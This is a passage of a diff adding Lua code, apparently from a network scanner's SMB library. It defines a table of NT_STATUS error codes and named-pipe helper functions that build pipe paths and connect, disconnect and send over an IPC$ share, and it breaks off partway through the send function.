+ NT_STATUS_SERVER_DISABLED = 0xc0000080,
+ NT_STATUS_SERVER_NOT_DISABLED = 0xc0000081,
+ NT_STATUS_TOO_MANY_GUIDS_REQUESTED = 0xc0000082,
+ NT_STATUS_GUIDS_EXHAUSTED = 0xc0000083,
+ NT_STATUS_INVALID_ID_AUTHORITY = 0xc0000084,
+ NT_STATUS_AGENTS_EXHAUSTED = 0xc0000085,
+ NT_STATUS_INVALID_VOLUME_LABEL = 0xc0000086,
+ NT_STATUS_SECTION_NOT_EXTENDED = 0xc0000087,
+ NT_STATUS_NOT_MAPPED_DATA = 0xc0000088,
+ NT_STATUS_RESOURCE_DATA_NOT_FOUND = 0xc0000089,
+ NT_STATUS_RESOURCE_TYPE_NOT_FOUND = 0xc000008a,
+ NT_STATUS_RESOURCE_NAME_NOT_FOUND = 0xc000008b,
+ NT_STATUS_ARRAY_BOUNDS_EXCEEDED = 0xc000008c,
+ NT_STATUS_FLOAT_DENORMAL_OPERAND = 0xc000008d,
+ NT_STATUS_FLOAT_DIVIDE_BY_ZERO = 0xc000008e,
+ NT_STATUS_FLOAT_INEXACT_RESULT = 0xc000008f,
+ NT_STATUS_FLOAT_INVALID_OPERATION = 0xc0000090,
+ NT_STATUS_FLOAT_OVERFLOW = 0xc0000091,
+ NT_STATUS_FLOAT_STACK_CHECK = 0xc0000092,
+ NT_STATUS_FLOAT_UNDERFLOW = 0xc0000093,
+ NT_STATUS_INTEGER_DIVIDE_BY_ZERO = 0xc0000094,
+ NT_STATUS_INTEGER_OVERFLOW = 0xc0000095,
+ NT_STATUS_PRIVILEGED_INSTRUCTION = 0xc0000096,
+ NT_STATUS_TOO_MANY_PAGING_FILES = 0xc0000097,
+ NT_STATUS_FILE_INVALID = 0xc0000098,
+ NT_STATUS_ALLOTTED_SPACE_EXCEEDED = 0xc0000099,
+ NT_STATUS_INSUFFICIENT_RESOURCES = 0xc000009a,
+ NT_STATUS_DFS_EXIT_PATH_FOUND = 0xc000009b,
+ NT_STATUS_DEVICE_DATA_ERROR = 0xc000009c,
+ NT_STATUS_DEVICE_NOT_CONNECTED = 0xc000009d,
+ NT_STATUS_DEVICE_POWER_FAILURE = 0xc000009e,
+ NT_STATUS_FREE_VM_NOT_AT_BASE = 0xc000009f,
+ NT_STATUS_MEMORY_NOT_ALLOCATED = 0xc00000a0,
+ NT_STATUS_WORKING_SET_QUOTA = 0xc00000a1,
+ NT_STATUS_MEDIA_WRITE_PROTECTED = 0xc00000a2,
+ NT_STATUS_DEVICE_NOT_READY = 0xc00000a3,
+ NT_STATUS_INVALID_GROUP_ATTRIBUTES = 0xc00000a4,
+ NT_STATUS_BAD_IMPERSONATION_LEVEL = 0xc00000a5,
+ NT_STATUS_CANT_OPEN_ANONYMOUS = 0xc00000a6,
+ NT_STATUS_BAD_VALIDATION_CLASS = 0xc00000a7,
+ NT_STATUS_BAD_TOKEN_TYPE = 0xc00000a8,
+ NT_STATUS_BAD_MASTER_BOOT_RECORD = 0xc00000a9,
+ NT_STATUS_INSTRUCTION_MISALIGNMENT = 0xc00000aa,
+ NT_STATUS_INSTANCE_NOT_AVAILABLE = 0xc00000ab,
+ NT_STATUS_PIPE_NOT_AVAILABLE = 0xc00000ac,
+ NT_STATUS_INVALID_PIPE_STATE = 0xc00000ad,
+ NT_STATUS_PIPE_BUSY = 0xc00000ae,
+ NT_STATUS_ILLEGAL_FUNCTION = 0xc00000af,
+ NT_STATUS_PIPE_DISCONNECTED = 0xc00000b0,
+ NT_STATUS_PIPE_CLOSING = 0xc00000b1,
+ NT_STATUS_PIPE_CONNECTED = 0xc00000b2,
+ NT_STATUS_PIPE_LISTENING = 0xc00000b3,
+ NT_STATUS_INVALID_READ_MODE = 0xc00000b4,
+ NT_STATUS_IO_TIMEOUT = 0xc00000b5,
+ NT_STATUS_FILE_FORCED_CLOSED = 0xc00000b6,
+ NT_STATUS_PROFILING_NOT_STARTED = 0xc00000b7,
+ NT_STATUS_PROFILING_NOT_STOPPED = 0xc00000b8,
+ NT_STATUS_COULD_NOT_INTERPRET = 0xc00000b9,
+ NT_STATUS_FILE_IS_A_DIRECTORY = 0xc00000ba,
+ NT_STATUS_NOT_SUPPORTED = 0xc00000bb,
+ NT_STATUS_REMOTE_NOT_LISTENING = 0xc00000bc,
+ NT_STATUS_DUPLICATE_NAME = 0xc00000bd,
+ NT_STATUS_BAD_NETWORK_PATH = 0xc00000be,
+ NT_STATUS_NETWORK_BUSY = 0xc00000bf,
+ NT_STATUS_DEVICE_DOES_NOT_EXIST = 0xc00000c0,
+ NT_STATUS_TOO_MANY_COMMANDS = 0xc00000c1,
+ NT_STATUS_ADAPTER_HARDWARE_ERROR = 0xc00000c2,
+ NT_STATUS_INVALID_NETWORK_RESPONSE = 0xc00000c3,
+ NT_STATUS_UNEXPECTED_NETWORK_ERROR = 0xc00000c4,
+ NT_STATUS_BAD_REMOTE_ADAPTER = 0xc00000c5,
+ NT_STATUS_PRINT_QUEUE_FULL = 0xc00000c6,
+ NT_STATUS_NO_SPOOL_SPACE = 0xc00000c7,
+ NT_STATUS_PRINT_CANCELLED = 0xc00000c8,
+ NT_STATUS_NETWORK_NAME_DELETED = 0xc00000c9,
+ NT_STATUS_NETWORK_ACCESS_DENIED = 0xc00000ca,
+ NT_STATUS_BAD_DEVICE_TYPE = 0xc00000cb,
+ NT_STATUS_BAD_NETWORK_NAME = 0xc00000cc,
+ NT_STATUS_TOO_MANY_NAMES = 0xc00000cd,
+ NT_STATUS_TOO_MANY_SESSIONS = 0xc00000ce,
+ NT_STATUS_SHARING_PAUSED = 0xc00000cf,
+ NT_STATUS_REQUEST_NOT_ACCEPTED = 0xc00000d0,
+ NT_STATUS_REDIRECTOR_PAUSED = 0xc00000d1,
+ NT_STATUS_NET_WRITE_FAULT = 0xc00000d2,
+ NT_STATUS_PROFILING_AT_LIMIT = 0xc00000d3,
+ NT_STATUS_NOT_SAME_DEVICE = 0xc00000d4,
+ NT_STATUS_FILE_RENAMED = 0xc00000d5,
+ NT_STATUS_VIRTUAL_CIRCUIT_CLOSED = 0xc00000d6,
+ NT_STATUS_NO_SECURITY_ON_OBJECT = 0xc00000d7,
+ NT_STATUS_CANT_WAIT = 0xc00000d8,
+ NT_STATUS_PIPE_EMPTY = 0xc00000d9,
+ NT_STATUS_CANT_ACCESS_DOMAIN_INFO = 0xc00000da,
+ NT_STATUS_CANT_TERMINATE_SELF = 0xc00000db,
+ NT_STATUS_INVALID_SERVER_STATE = 0xc00000dc,
+ NT_STATUS_INVALID_DOMAIN_STATE = 0xc00000dd,
+ NT_STATUS_INVALID_DOMAIN_ROLE = 0xc00000de,
+ NT_STATUS_NO_SUCH_DOMAIN = 0xc00000df,
+ NT_STATUS_DOMAIN_EXISTS = 0xc00000e0,
+ NT_STATUS_DOMAIN_LIMIT_EXCEEDED = 0xc00000e1,
+ NT_STATUS_OPLOCK_NOT_GRANTED = 0xc00000e2,
+ NT_STATUS_INVALID_OPLOCK_PROTOCOL = 0xc00000e3,
+ NT_STATUS_INTERNAL_DB_CORRUPTION = 0xc00000e4,
+ NT_STATUS_INTERNAL_ERROR = 0xc00000e5,
+ NT_STATUS_GENERIC_NOT_MAPPED = 0xc00000e6,
+ NT_STATUS_BAD_DESCRIPTOR_FORMAT = 0xc00000e7,
+ NT_STATUS_INVALID_USER_BUFFER = 0xc00000e8,
+ NT_STATUS_UNEXPECTED_IO_ERROR = 0xc00000e9,
+ NT_STATUS_UNEXPECTED_MM_CREATE_ERR = 0xc00000ea,
+ NT_STATUS_UNEXPECTED_MM_MAP_ERROR = 0xc00000eb,
+ NT_STATUS_UNEXPECTED_MM_EXTEND_ERR = 0xc00000ec,
+ NT_STATUS_NOT_LOGON_PROCESS = 0xc00000ed,
+ NT_STATUS_LOGON_SESSION_EXISTS = 0xc00000ee,
+ NT_STATUS_INVALID_PARAMETER_1 = 0xc00000ef,
+ NT_STATUS_INVALID_PARAMETER_2 = 0xc00000f0,
+ NT_STATUS_INVALID_PARAMETER_3 = 0xc00000f1,
+ NT_STATUS_INVALID_PARAMETER_4 = 0xc00000f2,
+ NT_STATUS_INVALID_PARAMETER_5 = 0xc00000f3,
+ NT_STATUS_INVALID_PARAMETER_6 = 0xc00000f4,
+ NT_STATUS_INVALID_PARAMETER_7 = 0xc00000f5,
+ NT_STATUS_INVALID_PARAMETER_8 = 0xc00000f6,
+ NT_STATUS_INVALID_PARAMETER_9 = 0xc00000f7,
+ NT_STATUS_INVALID_PARAMETER_10 = 0xc00000f8,
+ NT_STATUS_INVALID_PARAMETER_11 = 0xc00000f9,
+ NT_STATUS_INVALID_PARAMETER_12 = 0xc00000fa,
+ NT_STATUS_REDIRECTOR_NOT_STARTED = 0xc00000fb,
+ NT_STATUS_REDIRECTOR_STARTED = 0xc00000fc,
+ NT_STATUS_STACK_OVERFLOW = 0xc00000fd,
+ NT_STATUS_NO_SUCH_PACKAGE = 0xc00000fe,
+ NT_STATUS_BAD_FUNCTION_TABLE = 0xc00000ff,
+ NT_STATUS_DIRECTORY_NOT_EMPTY = 0xc0000101,
+ NT_STATUS_FILE_CORRUPT_ERROR = 0xc0000102,
+ NT_STATUS_NOT_A_DIRECTORY = 0xc0000103,
+ NT_STATUS_BAD_LOGON_SESSION_STATE = 0xc0000104,
+ NT_STATUS_LOGON_SESSION_COLLISION = 0xc0000105,
+ NT_STATUS_NAME_TOO_LONG = 0xc0000106,
+ NT_STATUS_FILES_OPEN = 0xc0000107,
+ NT_STATUS_CONNECTION_IN_USE = 0xc0000108,
+ NT_STATUS_MESSAGE_NOT_FOUND = 0xc0000109,
+ NT_STATUS_PROCESS_IS_TERMINATING = 0xc000010a,
+ NT_STATUS_INVALID_LOGON_TYPE = 0xc000010b,
+ NT_STATUS_NO_GUID_TRANSLATION = 0xc000010c,
+ NT_STATUS_CANNOT_IMPERSONATE = 0xc000010d,
+ NT_STATUS_IMAGE_ALREADY_LOADED = 0xc000010e,
+ NT_STATUS_ABIOS_NOT_PRESENT = 0xc000010f,
+ NT_STATUS_ABIOS_LID_NOT_EXIST = 0xc0000110,
+ NT_STATUS_ABIOS_LID_ALREADY_OWNED = 0xc0000111,
+ NT_STATUS_ABIOS_NOT_LID_OWNER = 0xc0000112,
+ NT_STATUS_ABIOS_INVALID_COMMAND = 0xc0000113,
+ NT_STATUS_ABIOS_INVALID_LID = 0xc0000114,
+ NT_STATUS_ABIOS_SELECTOR_NOT_AVAILABLE = 0xc0000115,
+ NT_STATUS_ABIOS_INVALID_SELECTOR = 0xc0000116,
+ NT_STATUS_NO_LDT = 0xc0000117,
+ NT_STATUS_INVALID_LDT_SIZE = 0xc0000118,
+ NT_STATUS_INVALID_LDT_OFFSET = 0xc0000119,
+ NT_STATUS_INVALID_LDT_DESCRIPTOR = 0xc000011a,
+ NT_STATUS_INVALID_IMAGE_NE_FORMAT = 0xc000011b,
+ NT_STATUS_RXACT_INVALID_STATE = 0xc000011c,
+ NT_STATUS_RXACT_COMMIT_FAILURE = 0xc000011d,
+ NT_STATUS_MAPPED_FILE_SIZE_ZERO = 0xc000011e,
+ NT_STATUS_TOO_MANY_OPENED_FILES = 0xc000011f,
+ NT_STATUS_CANCELLED = 0xc0000120,
+ NT_STATUS_CANNOT_DELETE = 0xc0000121,
+ NT_STATUS_INVALID_COMPUTER_NAME = 0xc0000122,
+ NT_STATUS_FILE_DELETED = 0xc0000123,
+ NT_STATUS_SPECIAL_ACCOUNT = 0xc0000124,
+ NT_STATUS_SPECIAL_GROUP = 0xc0000125,
+ NT_STATUS_SPECIAL_USER = 0xc0000126,
+ NT_STATUS_MEMBERS_PRIMARY_GROUP = 0xc0000127,
+ NT_STATUS_FILE_CLOSED = 0xc0000128,
+ NT_STATUS_TOO_MANY_THREADS = 0xc0000129,
+ NT_STATUS_THREAD_NOT_IN_PROCESS = 0xc000012a,
+ NT_STATUS_TOKEN_ALREADY_IN_USE = 0xc000012b,
+ NT_STATUS_PAGEFILE_QUOTA_EXCEEDED = 0xc000012c,
+ NT_STATUS_COMMITMENT_LIMIT = 0xc000012d,
+ NT_STATUS_INVALID_IMAGE_LE_FORMAT = 0xc000012e,
+ NT_STATUS_INVALID_IMAGE_NOT_MZ = 0xc000012f,
+ NT_STATUS_INVALID_IMAGE_PROTECT = 0xc0000130,
+ NT_STATUS_INVALID_IMAGE_WIN_16 = 0xc0000131,
+ NT_STATUS_LOGON_SERVER_CONFLICT = 0xc0000132,
+ NT_STATUS_TIME_DIFFERENCE_AT_DC = 0xc0000133,
+ NT_STATUS_SYNCHRONIZATION_REQUIRED = 0xc0000134,
+ NT_STATUS_DLL_NOT_FOUND = 0xc0000135,
+ NT_STATUS_OPEN_FAILED = 0xc0000136,
+ NT_STATUS_IO_PRIVILEGE_FAILED = 0xc0000137,
+ NT_STATUS_ORDINAL_NOT_FOUND = 0xc0000138,
+ NT_STATUS_ENTRYPOINT_NOT_FOUND = 0xc0000139,
+ NT_STATUS_CONTROL_C_EXIT = 0xc000013a,
+ NT_STATUS_LOCAL_DISCONNECT = 0xc000013b,
+ NT_STATUS_REMOTE_DISCONNECT = 0xc000013c,
+ NT_STATUS_REMOTE_RESOURCES = 0xc000013d,
+ NT_STATUS_LINK_FAILED = 0xc000013e,
+ NT_STATUS_LINK_TIMEOUT = 0xc000013f,
+ NT_STATUS_INVALID_CONNECTION = 0xc0000140,
+ NT_STATUS_INVALID_ADDRESS = 0xc0000141,
+ NT_STATUS_DLL_INIT_FAILED = 0xc0000142,
+ NT_STATUS_MISSING_SYSTEMFILE = 0xc0000143,
+ NT_STATUS_UNHANDLED_EXCEPTION = 0xc0000144,
+ NT_STATUS_APP_INIT_FAILURE = 0xc0000145,
+ NT_STATUS_PAGEFILE_CREATE_FAILED = 0xc0000146,
+ NT_STATUS_NO_PAGEFILE = 0xc0000147,
+ NT_STATUS_INVALID_LEVEL = 0xc0000148,
+ NT_STATUS_WRONG_PASSWORD_CORE = 0xc0000149,
+ NT_STATUS_ILLEGAL_FLOAT_CONTEXT = 0xc000014a,
+ NT_STATUS_PIPE_BROKEN = 0xc000014b,
+ NT_STATUS_REGISTRY_CORRUPT = 0xc000014c,
+ NT_STATUS_REGISTRY_IO_FAILED = 0xc000014d,
+ NT_STATUS_NO_EVENT_PAIR = 0xc000014e,
+ NT_STATUS_UNRECOGNIZED_VOLUME = 0xc000014f,
+ NT_STATUS_SERIAL_NO_DEVICE_INITED = 0xc0000150,
+ NT_STATUS_NO_SUCH_ALIAS = 0xc0000151,
+ NT_STATUS_MEMBER_NOT_IN_ALIAS = 0xc0000152,
+ NT_STATUS_MEMBER_IN_ALIAS = 0xc0000153,
+ NT_STATUS_ALIAS_EXISTS = 0xc0000154,
+ NT_STATUS_LOGON_NOT_GRANTED = 0xc0000155,
+ NT_STATUS_TOO_MANY_SECRETS = 0xc0000156,
+ NT_STATUS_SECRET_TOO_LONG = 0xc0000157,
+ NT_STATUS_INTERNAL_DB_ERROR = 0xc0000158,
+ NT_STATUS_FULLSCREEN_MODE = 0xc0000159,
+ NT_STATUS_TOO_MANY_CONTEXT_IDS = 0xc000015a,
+ NT_STATUS_LOGON_TYPE_NOT_GRANTED = 0xc000015b,
+ NT_STATUS_NOT_REGISTRY_FILE = 0xc000015c,
+ NT_STATUS_NT_CROSS_ENCRYPTION_REQUIRED = 0xc000015d,
+ NT_STATUS_DOMAIN_CTRLR_CONFIG_ERROR = 0xc000015e,
+ NT_STATUS_FT_MISSING_MEMBER = 0xc000015f,
+ NT_STATUS_ILL_FORMED_SERVICE_ENTRY = 0xc0000160,
+ NT_STATUS_ILLEGAL_CHARACTER = 0xc0000161,
+ NT_STATUS_UNMAPPABLE_CHARACTER = 0xc0000162,
+ NT_STATUS_UNDEFINED_CHARACTER = 0xc0000163,
+ NT_STATUS_FLOPPY_VOLUME = 0xc0000164,
+ NT_STATUS_FLOPPY_ID_MARK_NOT_FOUND = 0xc0000165,
+ NT_STATUS_FLOPPY_WRONG_CYLINDER = 0xc0000166,
+ NT_STATUS_FLOPPY_UNKNOWN_ERROR = 0xc0000167,
+ NT_STATUS_FLOPPY_BAD_REGISTERS = 0xc0000168,
+ NT_STATUS_DISK_RECALIBRATE_FAILED = 0xc0000169,
+ NT_STATUS_DISK_OPERATION_FAILED = 0xc000016a,
+ NT_STATUS_DISK_RESET_FAILED = 0xc000016b,
+ NT_STATUS_SHARED_IRQ_BUSY = 0xc000016c,
+ NT_STATUS_FT_ORPHANING = 0xc000016d,
+ NT_STATUS_PARTITION_FAILURE = 0xc0000172,
+ NT_STATUS_INVALID_BLOCK_LENGTH = 0xc0000173,
+ NT_STATUS_DEVICE_NOT_PARTITIONED = 0xc0000174,
+ NT_STATUS_UNABLE_TO_LOCK_MEDIA = 0xc0000175,
+ NT_STATUS_UNABLE_TO_UNLOAD_MEDIA = 0xc0000176,
+ NT_STATUS_EOM_OVERFLOW = 0xc0000177,
+ NT_STATUS_NO_MEDIA = 0xc0000178,
+ NT_STATUS_NO_SUCH_MEMBER = 0xc000017a,
+ NT_STATUS_INVALID_MEMBER = 0xc000017b,
+ NT_STATUS_KEY_DELETED = 0xc000017c,
+ NT_STATUS_NO_LOG_SPACE = 0xc000017d,
+ NT_STATUS_TOO_MANY_SIDS = 0xc000017e,
+ NT_STATUS_LM_CROSS_ENCRYPTION_REQUIRED = 0xc000017f,
+ NT_STATUS_KEY_HAS_CHILDREN = 0xc0000180,
+ NT_STATUS_CHILD_MUST_BE_VOLATILE = 0xc0000181,
+ NT_STATUS_DEVICE_CONFIGURATION_ERROR = 0xc0000182,
+ NT_STATUS_DRIVER_INTERNAL_ERROR = 0xc0000183,
+ NT_STATUS_INVALID_DEVICE_STATE = 0xc0000184,
+ NT_STATUS_IO_DEVICE_ERROR = 0xc0000185,
+ NT_STATUS_DEVICE_PROTOCOL_ERROR = 0xc0000186,
+ NT_STATUS_BACKUP_CONTROLLER = 0xc0000187,
+ NT_STATUS_LOG_FILE_FULL = 0xc0000188,
+ NT_STATUS_TOO_LATE = 0xc0000189,
+ NT_STATUS_NO_TRUST_LSA_SECRET = 0xc000018a,
+ NT_STATUS_NO_TRUST_SAM_ACCOUNT = 0xc000018b,
+ NT_STATUS_TRUSTED_DOMAIN_FAILURE = 0xc000018c,
+ NT_STATUS_TRUSTED_RELATIONSHIP_FAILURE = 0xc000018d,
+ NT_STATUS_EVENTLOG_FILE_CORRUPT = 0xc000018e,
+ NT_STATUS_EVENTLOG_CANT_START = 0xc000018f,
+ NT_STATUS_TRUST_FAILURE = 0xc0000190,
+ NT_STATUS_MUTANT_LIMIT_EXCEEDED = 0xc0000191,
+ NT_STATUS_NETLOGON_NOT_STARTED = 0xc0000192,
+ NT_STATUS_ACCOUNT_EXPIRED = 0xc0000193,
+ NT_STATUS_POSSIBLE_DEADLOCK = 0xc0000194,
+ NT_STATUS_NETWORK_CREDENTIAL_CONFLICT = 0xc0000195,
+ NT_STATUS_REMOTE_SESSION_LIMIT = 0xc0000196,
+ NT_STATUS_EVENTLOG_FILE_CHANGED = 0xc0000197,
+ NT_STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 0xc0000198,
+ NT_STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 0xc0000199,
+ NT_STATUS_NOLOGON_SERVER_TRUST_ACCOUNT = 0xc000019a,
+ NT_STATUS_DOMAIN_TRUST_INCONSISTENT = 0xc000019b,
+ NT_STATUS_FS_DRIVER_REQUIRED = 0xc000019c,
+ NT_STATUS_NO_USER_SESSION_KEY = 0xc0000202,
+ NT_STATUS_USER_SESSION_DELETED = 0xc0000203,
+ NT_STATUS_RESOURCE_LANG_NOT_FOUND = 0xc0000204,
+ NT_STATUS_INSUFF_SERVER_RESOURCES = 0xc0000205,
+ NT_STATUS_INVALID_BUFFER_SIZE = 0xc0000206,
+ NT_STATUS_INVALID_ADDRESS_COMPONENT = 0xc0000207,
+ NT_STATUS_INVALID_ADDRESS_WILDCARD = 0xc0000208,
+ NT_STATUS_TOO_MANY_ADDRESSES = 0xc0000209,
+ NT_STATUS_ADDRESS_ALREADY_EXISTS = 0xc000020a,
+ NT_STATUS_ADDRESS_CLOSED = 0xc000020b,
+ NT_STATUS_CONNECTION_DISCONNECTED = 0xc000020c,
+ NT_STATUS_CONNECTION_RESET = 0xc000020d,
+ NT_STATUS_TOO_MANY_NODES = 0xc000020e,
+ NT_STATUS_TRANSACTION_ABORTED = 0xc000020f,
+ NT_STATUS_TRANSACTION_TIMED_OUT = 0xc0000210,
+ NT_STATUS_TRANSACTION_NO_RELEASE = 0xc0000211,
+ NT_STATUS_TRANSACTION_NO_MATCH = 0xc0000212,
+ NT_STATUS_TRANSACTION_RESPONDED = 0xc0000213,
+ NT_STATUS_TRANSACTION_INVALID_ID = 0xc0000214,
+ NT_STATUS_TRANSACTION_INVALID_TYPE = 0xc0000215,
+ NT_STATUS_NOT_SERVER_SESSION = 0xc0000216,
+ NT_STATUS_NOT_CLIENT_SESSION = 0xc0000217,
+ NT_STATUS_CANNOT_LOAD_REGISTRY_FILE = 0xc0000218,
+ NT_STATUS_DEBUG_ATTACH_FAILED = 0xc0000219,
+ NT_STATUS_SYSTEM_PROCESS_TERMINATED = 0xc000021a,
+ NT_STATUS_DATA_NOT_ACCEPTED = 0xc000021b,
+ NT_STATUS_NO_BROWSER_SERVERS_FOUND = 0xc000021c,
+ NT_STATUS_VDM_HARD_ERROR = 0xc000021d,
+ NT_STATUS_DRIVER_CANCEL_TIMEOUT = 0xc000021e,
+ NT_STATUS_REPLY_MESSAGE_MISMATCH = 0xc000021f,
+ NT_STATUS_MAPPED_ALIGNMENT = 0xc0000220,
+ NT_STATUS_IMAGE_CHECKSUM_MISMATCH = 0xc0000221,
+ NT_STATUS_LOST_WRITEBEHIND_DATA = 0xc0000222,
+ NT_STATUS_CLIENT_SERVER_PARAMETERS_INVALID = 0xc0000223,
+ NT_STATUS_PASSWORD_MUST_CHANGE = 0xc0000224,
+ NT_STATUS_NOT_FOUND = 0xc0000225,
+ NT_STATUS_NOT_TINY_STREAM = 0xc0000226,
+ NT_STATUS_RECOVERY_FAILURE = 0xc0000227,
+ NT_STATUS_STACK_OVERFLOW_READ = 0xc0000228,
+ NT_STATUS_FAIL_CHECK = 0xc0000229,
+ NT_STATUS_DUPLICATE_OBJECTID = 0xc000022a,
+ NT_STATUS_OBJECTID_EXISTS = 0xc000022b,
+ NT_STATUS_CONVERT_TO_LARGE = 0xc000022c,
+ NT_STATUS_RETRY = 0xc000022d,
+ NT_STATUS_FOUND_OUT_OF_SCOPE = 0xc000022e,
+ NT_STATUS_ALLOCATE_BUCKET = 0xc000022f,
+ NT_STATUS_PROPSET_NOT_FOUND = 0xc0000230,
+ NT_STATUS_MARSHALL_OVERFLOW = 0xc0000231,
+ NT_STATUS_INVALID_VARIANT = 0xc0000232,
+ NT_STATUS_DOMAIN_CONTROLLER_NOT_FOUND = 0xc0000233,
+ NT_STATUS_ACCOUNT_LOCKED_OUT = 0xc0000234,
+ NT_STATUS_HANDLE_NOT_CLOSABLE = 0xc0000235,
+ NT_STATUS_CONNECTION_REFUSED = 0xc0000236,
+ NT_STATUS_GRACEFUL_DISCONNECT = 0xc0000237,
+ NT_STATUS_ADDRESS_ALREADY_ASSOCIATED = 0xc0000238,
+ NT_STATUS_ADDRESS_NOT_ASSOCIATED = 0xc0000239,
+ NT_STATUS_CONNECTION_INVALID = 0xc000023a,
+ NT_STATUS_CONNECTION_ACTIVE = 0xc000023b,
+ NT_STATUS_NETWORK_UNREACHABLE = 0xc000023c,
+ NT_STATUS_HOST_UNREACHABLE = 0xc000023d,
+ NT_STATUS_PROTOCOL_UNREACHABLE = 0xc000023e,
+ NT_STATUS_PORT_UNREACHABLE = 0xc000023f,
+ NT_STATUS_REQUEST_ABORTED = 0xc0000240,
+ NT_STATUS_CONNECTION_ABORTED = 0xc0000241,
+ NT_STATUS_BAD_COMPRESSION_BUFFER = 0xc0000242,
+ NT_STATUS_USER_MAPPED_FILE = 0xc0000243,
+ NT_STATUS_AUDIT_FAILED = 0xc0000244,
+ NT_STATUS_TIMER_RESOLUTION_NOT_SET = 0xc0000245,
+ NT_STATUS_CONNECTION_COUNT_LIMIT = 0xc0000246,
+ NT_STATUS_LOGIN_TIME_RESTRICTION = 0xc0000247,
+ NT_STATUS_LOGIN_WKSTA_RESTRICTION = 0xc0000248,
+ NT_STATUS_IMAGE_MP_UP_MISMATCH = 0xc0000249,
+ NT_STATUS_INSUFFICIENT_LOGON_INFO = 0xc0000250,
+ NT_STATUS_BAD_DLL_ENTRYPOINT = 0xc0000251,
+ NT_STATUS_BAD_SERVICE_ENTRYPOINT = 0xc0000252,
+ NT_STATUS_LPC_REPLY_LOST = 0xc0000253,
+ NT_STATUS_IP_ADDRESS_CONFLICT1 = 0xc0000254,
+ NT_STATUS_IP_ADDRESS_CONFLICT2 = 0xc0000255,
+ NT_STATUS_REGISTRY_QUOTA_LIMIT = 0xc0000256,
+ NT_STATUS_PATH_NOT_COVERED = 0xc0000257,
+ NT_STATUS_NO_CALLBACK_ACTIVE = 0xc0000258,
+ NT_STATUS_LICENSE_QUOTA_EXCEEDED = 0xc0000259,
+ NT_STATUS_PWD_TOO_SHORT = 0xc000025a,
+ NT_STATUS_PWD_TOO_RECENT = 0xc000025b,
+ NT_STATUS_PWD_HISTORY_CONFLICT = 0xc000025c,
+ NT_STATUS_PLUGPLAY_NO_DEVICE = 0xc000025e,
+ NT_STATUS_UNSUPPORTED_COMPRESSION = 0xc000025f,
+ NT_STATUS_INVALID_HW_PROFILE = 0xc0000260,
+ NT_STATUS_INVALID_PLUGPLAY_DEVICE_PATH = 0xc0000261,
+ NT_STATUS_DRIVER_ORDINAL_NOT_FOUND = 0xc0000262,
+ NT_STATUS_DRIVER_ENTRYPOINT_NOT_FOUND = 0xc0000263,
+ NT_STATUS_RESOURCE_NOT_OWNED = 0xc0000264,
+ NT_STATUS_TOO_MANY_LINKS = 0xc0000265,
+ NT_STATUS_QUOTA_LIST_INCONSISTENT = 0xc0000266,
+ NT_STATUS_FILE_IS_OFFLINE = 0xc0000267,
+ NT_STATUS_DS_NO_MORE_RIDS = 0xc00002a8,
+ NT_STATUS_NOT_A_REPARSE_POINT = 0xc0000275,
+ NT_STATUS_NO_SUCH_JOB = 0xc0000EDE
+}
+
+for i, v in pairs(status_codes) do
+ status_names[v] = i
+end
+
+
+local NP_LIBRARY_NAME = "PIPE"
+
+namedpipes =
+{
+ get_pipe_subpath = function( pipeName, writeToDebugLog )
+ local status, pipeSubPath
+ if not pipeName then return false end
+
+ local _, _, match = pipeName:match( "^(\\+)(.-)\\pipe(\\.-)$" )
+ if match then
+ pipeSubPath = match
+ status = true
+ if writeToDebugLog then
+ stdnse.debug2("%s: Converting %s to subpath %s", NP_LIBRARY_NAME, pipeName, match )
+ end
+ else
+ status = false
+ pipeSubPath = pipeName
+ end
+
+ return status, pipeSubPath
+ end,
+
+
+ make_pipe_name = function( hostnameOrIp, pipeSubPath )
+ if pipeSubPath:sub(1,1) ~= "\\" then
+ pipeSubPath = "\\" .. pipeSubPath
+ end
+
+ return string.format( "\\\\%s\\pipe%s", hostnameOrIp, pipeSubPath )
+ end,
+
+
+ named_pipe = {
+
+ _smbstate = nil,
+ _host = nil,
+ _pipeSubPath = nil,
+ _overrides = nil,
+ name = nil,
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+
+ connect = function( self, host, pipeSubPath, overrides )
+
+ stdnse.debug2("%s: connect() called with %s", NP_LIBRARY_NAME, tostring( pipeSubPath ) )
+ self._overrides = overrides or {}
+ self._host = host
+ self._pipeSubPath = pipeSubPath
+ if not host and not host.ip then return false, "host table is required" end
+ if not pipeSubPath then return false, "pipeSubPath is required" end
+
+ -- If we got a full pipe name, not a sub-path, fix it
+ if ( pipeSubPath:match( "^\\\\(.-)$" ) ) then
+ local status
+ status, self._pipeSubPath = namedpipes.get_pipe_subpath( self._pipeSubPath, true )
+ if ( not status ) then
+ stdnse.debug1("%s: Attempt to connect to invalid pipe name: %s", NP_LIBRARY_NAME, tostring( pipeSubPath ) )
+ return false, "Invalid pipe name"
+ end
+ end
+ self.name = namedpipes.make_pipe_name( self._host.ip, self._pipeSubPath )
+
+ stdnse.debug2("%s: Connecting to named pipe: %s", NP_LIBRARY_NAME, self.name )
+ local errorMessage
+ local bool_negotiate_protocol, bool_start_session, bool_disable_extended = true, true, false
+ local _, fqpn_share = get_fqpn(host, "IPC$")
+ local status, result = start_ex( self._host, bool_negotiate_protocol, bool_start_session,
+ fqpn_share, self._pipeSubPath, bool_disable_extended, self._overrides )
+
+ if status then
+ self._smbstate = result
+ else
+ errorMessage = string.format( "Connection failed: %s", result )
+ stdnse.debug2("%s: Connection to named pipe (%s) failed: %s",
+ NP_LIBRARY_NAME, self.name, errorMessage )
+ end
+
+ return status, errorMessage, result
+ end,
+
+
+ disconnect = function( self )
+ if ( self._smbstate ) then
+ stdnse.debug2("%s: Disconnecting named pipe: %s", NP_LIBRARY_NAME, self.name )
+ return stop( self._smbstate )
+ else
+ stdnse.debug2("%s: disconnect() called, but SMB connection is already closed: %s", NP_LIBRARY_NAME, self.name )
+ end
+ end,
+
+
+ send = function( self, messageData )
+ if not self._smbstate then
+ stdnse.debug2("%s: send() called on closed pipe (%s)", NP_LIBRARY_NAME, self.name )
+ return false, "Failed to send message on named pipe"
+ end
+
+ local offset = 0 -- offset is actually ignored for named pipes, but we'll define the argument for clarity
+ local status, result, errorMessage
+
+ status, result = write_file( self._smbstate, messageData, offset, self._overrides )
+
+ -- if status is true, result is data that we don't need to pay attention to
+ if not status then
